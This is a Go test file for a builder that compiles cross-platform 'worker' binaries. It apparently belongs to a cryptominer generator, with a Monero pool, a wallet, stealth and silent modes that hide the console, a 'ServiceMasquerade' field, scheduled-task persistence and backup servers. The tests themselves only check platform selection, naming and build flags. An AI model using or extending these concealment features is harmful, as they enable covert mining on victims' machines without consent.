package builder

import (
	"go/parser"
	"go/token"
	"strings"
	"testing"
)

func TestPlatformsForRequestWindowsDefault(t *testing.T) {
	req := &BuildRequest{TargetOS: ""}
	ps := platformsForRequest(req)
	if len(ps) != 1 || ps[0].GOOS != "windows" {
		t.Fatalf("expected single windows platform, got %+v", ps)
	}
}

func TestPlatformsForRequestLinux(t *testing.T) {
	req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
	ps := platformsForRequest(req)
	if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
		t.Fatalf("expected linux/arm64, got %+v", ps)
	}
}

func TestPlatformsForRequestUniversal(t *testing.T) {
	req := &BuildRequest{TargetOS: "universal"}
	ps := platformsForRequest(req)
	if len(ps) != len(defaultPlatforms) {
		t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
	}
	if len(ps) < 5 {
		t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
	}
}

// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
func TestGenerateBuiltinConfigValid(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:  "test",
		ServerURL:   "http://127.0.0.1:8989",
		Wallet:      "4TEST",
		Threads:     4,
		ThreadMode:  "percent",
		ThreadPercent: 75,
		PoolHost:    "pool.supportxmr.com",
		PoolPort:    3333,
		PoolPass:    "x",
		RunAs:       "scheduled",
		InstallBase: "localappdata",
	}
	src := h.generateBuiltinConfig("test-build-id", req)
	fset := token.NewFileSet()
	if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
		t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
	}
	if !strings.Contains(src, "ServiceMasquerade") {
		t.Error("expected ServiceMasquerade field in generated config")
	}
	if !strings.Contains(src, "BackupServerURLs") {
		t.Error("expected BackupServerURLs field in generated config")
	}
}

func TestBuildPlatformLabelAndBinDir(t *testing.T) {
	p := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
	if p.Label() != "linux-arm64" {
		t.Fatalf("label: %q", p.Label())
	}
	if p.BinDir() != "bin/linux-arm64" {
		t.Fatalf("bindir: %q", p.BinDir())
	}
}

func TestPlatformsForRequestDarwin(t *testing.T) {
	req := &BuildRequest{TargetOS: "darwin", TargetArch: "amd64"}
	ps := platformsForRequest(req)
	if len(ps) != 1 || ps[0].GOARCH != "amd64" {
		t.Fatalf("darwin: %+v", ps)
	}
}

func TestPlatformsForRequestUniversalFilteredArch(t *testing.T) {
	req := &BuildRequest{TargetOS: "universal", TargetArch: "arm64"}
	ps := platformsForRequest(req)
	// universal+arm64 must return ALL arm64 platforms (linux-arm64 + darwin-arm64).
	if len(ps) < 2 {
		t.Fatalf("expected multiple arm64 platforms, got %d: %+v", len(ps), ps)
	}
	for _, p := range ps {
		if p.GOARCH != "arm64" {
			t.Fatalf("non-arm64 platform returned: %+v", p)
		}
	}
	// Verify both expected platforms are present.
	goos := map[string]bool{}
	for _, p := range ps {
		goos[p.GOOS] = true
	}
	if !goos["linux"] || !goos["darwin"] {
		t.Fatalf("expected linux-arm64 and darwin-arm64, got %+v", ps)
	}
}

func TestWorkerFileName(t *testing.T) {
	win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
	if got := workerFileName("my pc", win, false); got != "install-my-pc.exe" {
		t.Fatalf("install name: %q", got)
	}
	if got := workerFileName("my pc", win, true); got != "worker-my-pc.exe" {
		t.Fatalf("worker name: %q", got)
	}
}

func TestLdflagsForWindowsGUI(t *testing.T) {
	req := &BuildRequest{StealthMode: true}
	ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
	if !strings.Contains(ld, "windowsgui") {
		t.Fatalf("expected windowsgui in ldflags, got %q", ld)
	}
	ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
	if strings.Contains(ldLinux, "windowsgui") {
		t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
	}
}

func TestPlatformsForRequestWindowsExplicit(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{TargetOS: "windows"})
	if len(ps) != 1 || ps[0].GOOS != "windows" || ps[0].GOARCH != "amd64" {
		t.Fatalf("windows: %+v", ps)
	}
}

func TestPlatformsForRequestLinuxDefaultArch(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{TargetOS: "linux"})
	if len(ps) != 1 || ps[0].GOARCH != "amd64" {
		t.Fatalf("linux default arch: %+v", ps)
	}
}

func TestPlatformsForRequestDarwinDefaultArch(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{TargetOS: "darwin"})
	if len(ps) != 1 || ps[0].GOARCH != "arm64" {
		t.Fatalf("darwin default arch: %+v", ps)
	}
}

func TestPlatformsForRequestUnknownTarget(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{TargetOS: "freebsd"})
	if len(ps) != 1 || ps[0].GOOS != "windows" {
		t.Fatalf("unknown target should fall back to windows: %+v", ps)
	}
}

func TestPlatformsForRequestUniversalUnknownArch(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{TargetOS: "universal", TargetArch: "mips"})
	if len(ps) != len(defaultPlatforms) {
		t.Fatalf("unknown arch filter should return all platforms, got %d", len(ps))
	}
}

func TestLdflagsForFusionEnabled(t *testing.T) {
	req := &BuildRequest{FusionEnabled: true, DisplayMode: "visible"}
	ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
	if !strings.Contains(ld, "windowsgui") {
		t.Fatalf("fusion should force GUI on windows: %q", ld)
	}
}

func TestLdflagsForSilentDisplayMode(t *testing.T) {
	req := &BuildRequest{DisplayMode: "silent"}
	ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
	if !strings.Contains(ld, "windowsgui") {
		t.Fatalf("silent display mode: %q", ld)
	}
}
